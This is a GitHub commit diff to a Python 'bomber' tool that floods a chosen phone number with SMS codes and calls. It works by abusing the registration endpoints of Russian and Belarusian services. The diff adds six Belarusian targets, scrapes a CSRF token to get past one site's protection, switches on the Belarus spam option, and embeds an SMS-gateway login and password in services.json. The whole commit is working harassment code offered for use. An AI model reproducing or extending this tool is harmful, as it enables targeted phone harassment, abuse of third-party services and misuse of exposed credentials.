Skip to content

Commit

Permalink
release bomber, add spam to BY | +2 services for RU, +6 services to BY
Browse files Browse the repository at this point in the history
  • Loading branch information
LostIk31 committed Aug 16, 2022
1 parent b6bbdc7 commit 96b6409
Show file tree
Hide file tree
Showing 4 changed files with 94 additions and 12 deletions.
26 changes: 22 additions & 4 deletions tools/sender.py
Original file line number Diff line number Diff line change
@@ -1,16 +1,22 @@
import json
import time
import requests
from bs4 import BeautifulSoup
from fake_useragent import UserAgent

# services list
services_list = []
services_list_by = []
with open('tools/services.json') as f:
services = json.load(f)
services = services['ru'][0]
for i in services:
services_ru = services['ru'][0]
for i in services_ru:
services_list.append(i)

services_by = services['by'][0]
for i in services_by:
services_list_by.append(i)

class Send:
def parse(self):
services_list = []
Expand Down Expand Up @@ -95,7 +101,9 @@ def json_parse(self, payload, datatype, country, phone):
"'": '"',
"*+phone*": phone[0],
"*phone*": phone[1],
"*-phone*": phone[2]
"*-phone*": phone[2],
"*green*": phone[3],
"*sosedi*": phone[4]
}.items():
if old in payload:
payload = payload.replace(old, new)
Expand All @@ -110,7 +118,7 @@ def json_processing(self, phone):
country = "ru"

# load json
with open('tools/services.json') as f:
with open('tools/services.json', encoding="utf-8") as f:
services = json.load(f)
# Getting services by country
self.services = services[country][0]
Expand Down Expand Up @@ -202,6 +210,16 @@ def spam(self, service, phone, proxy=None):
r = session.post(url, data=data, timeout=10, proxies=proxy, cookies=cookies, headers=headers)
elif self.service == "stockmann":
r = requests.get(url, timeout=10, proxies=proxy, headers=headers)
elif self.service == "green":
site = session.get(self.cookie["green"], headers=self.default_headers).text # parse token
soup = BeautifulSoup(site, "html.parser")
head = soup.find("head")
a = []
for i in head:
a.append(i)
token = str(a[7]).split('"')[1]
headers["X-CSRF-TOKEN"] = token
r = session.post(url, data, headers=headers, timeout=10, proxies=proxy)
else:
r = session.post(url, json=json_, data=data, timeout=10, proxies=proxy, cookies=cookies, headers=headers)
if self.response_services[self.service] == "json":
Expand Down
63 changes: 63 additions & 0 deletions tools/services.json
Original file line number Diff line number Diff line change
Expand Up @@ -132,11 +132,31 @@
"timeout": 30,
"cookies": "https://sunlight.net/profile/login/?next_encoded=Lw=="
},
"ok.ru": {
"url": "https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",
"data": "{'st.r.phone': '*phone*'}",
"response": 200,
"timeout": 60,
"cookies": "https://ok.ru/"
},
"citystar": {
"url": "https://citystarwear.com/bitrix/templates/bspc/php/bs.auth.sms/templates/pc/handlers.php",
"data": "{'hdlr': 'bsSendCodeAuth','bshsmsk': 'h5Plm22xoaFs9YTp', 'phone': '*-phone*', 'xemail': '', 'xphone': ''}",
"response": 200,
"timeout": 180
},
"beerlogapizza": {
"url": "https://smsc.ru/sys/send.php",
"data": "{'login': 'beerlogaa@gmail.com', 'psw': 'QWE780p', 'phones': '*+phone*', 'mes': 'code', 'call': '1', 'fmt': '3'}",
"response": 200,
"timeout": 60,
"cookies": "https://beerlogapizza.ru/login/"
},
"pizzamia":{
"url": "https://1603.smartomato.ru/account/session",
"data": "{'g-recaptcha-response': 'null','phone': '*phone3*'}",
"response": 200,
"timeout": 60
}
}
],
Expand All @@ -148,6 +168,49 @@
"data": "{'phone': '*+phone*'}",
"response": 200,
"timeout": 120
},
"green": {
"url": "https://www.green-market.by/registration_send_sms_code",
"data": "{'phone': '*green*'}",
"headers": {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7", "Cache-Control": "no-cache", "Connection": "keep-alive", "User-Agent": "", "X-CSRF-TOKEN": "", "X-Requested-With": "XMLHttpRequest"},
"response": 200,
"timeout": 60,
"cookies": "https://www.green-market.by/"
},
"ok.ru": {
"url": "https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",
"data": "{'st.r.phone': '*+phone*'}",
"response": 200,
"timeout": 60,
"cookies": "https://ok.ru/"
},
"sosedi": {
"url": "https://sosedi.by/local/api/smsSend.php",
"json": "{'phone':'*sosedi*'}",
"response": 200,
"timeout": 60,
"cookies": "https://sosedi.by/"
},
"av.by": {
"url": "https://api.av.by/auth/phone/sign-up",
"json": "{\"name\":\"Олег\",\"password\":\"HifbWy523i46oO\",\"phone\":{\"country\":1,\"number\":\"*-phone*\"},\"userEula\":{\"accepted\":true}}",
"response": 204,
"timeout": 60,
"cookies": "https://av.by"
},
"carte": {
"url": "https://carte.by/auth/",
"data": "{'ajax': 'register', 'login': 'Olegkiller229', 'pass': 'CbivnE5316', 'phone': '*+phone*', 'code': '', 'company': 0, 'resend': 1, 'checksum': 675}",
"response": 200,
"timeout": 30,
"cookies": "https://carte.by/"
},
"delivio": {
"url": "https://delivio.by/be/api/register",
"json": "{'phone': '*+phone*'}",
"response": 201,
"timeout": 60,
"cookies": "https://delivio.by/"
}
}
]
Expand Down
15 changes: 8 additions & 7 deletions tools/tools.py
Original file line number Diff line number Diff line change
Expand Up @@ -47,13 +47,16 @@ def FormattingNumber(number, country):
numb_1 = numb
numb_2 = numb[1:]
numb_3 = numb[4:]
numb_4 = numb[:4] + ' (' + numb[4:6] + ") " + numb[6:9] + '-' + numb[9:11] + '-' + numb[11:13]
numb_5 = numb[:4] + ' (' + numb[4:6] + ") " + numb[6:9] +numb[9:11] +numb[11:13]
elif numb[0:1] == "3" or numb[0:3] == "375": # 123456789012
numb_1 = "+"+numb
numb_2 = numb
numb_3 = numb[3:]

numb_4 = '+' + numb[:3] + ' (' + numb[3:5] + ") " + numb[5:8] + '-' + numb[8:10] + '-' + numb[10:12]
numb_5 = numb_1[:4] + ' (' + numb_1[4:6] + ") " + numb_1[6:9] +numb_1[9:11] +numb_1[11:13]
if country == "by":
return numb_1, numb_2, numb_3
return numb_1, numb_2, numb_3, numb_4, numb_5
elif country == "ru":
return numb_1, numb_2, numb_3, numb_4, numb_5, numb_6, numb_7, numb_8

Expand Down Expand Up @@ -223,16 +226,14 @@ def start_input():
print("")
print(colored("[99] Отмена", "red"))
print("")
print(colored("[1]", "red"), colored("Беларусь +375", "blue"), colored("В РАЗРАБОТКЕ", "red"))
print(colored("[1]", "red"), colored("Беларусь +375", "blue"))
print(colored("[2]", "red"), colored("Россия +7", "cyan"))
print("")
ct = input(colored("Выберите страну: ", "green"))
if ct == "2":
break
elif ct == "1":
print("")
print(colored("Спам на беларусь находиться в разработке", "yellow"))
print("")
break
elif ct == "99":
return 0, 0, 0
while True:
Expand Down Expand Up @@ -572,7 +573,7 @@ def start(number, country, proxy_=None):
if country == "ru":
services_list = send.services_list
else:
services_list = None
services_list = send.services_list_by
starting_spam = True
circles = 0
circles_2 = 1
Expand Down
2 changes: 1 addition & 1 deletion tools/version.txt
Original file line number Diff line number Diff line change
@@ -1 +1 @@
1.2.3 Beta
1.0 release

0 comments on commit 96b6409

Please sign in to comment.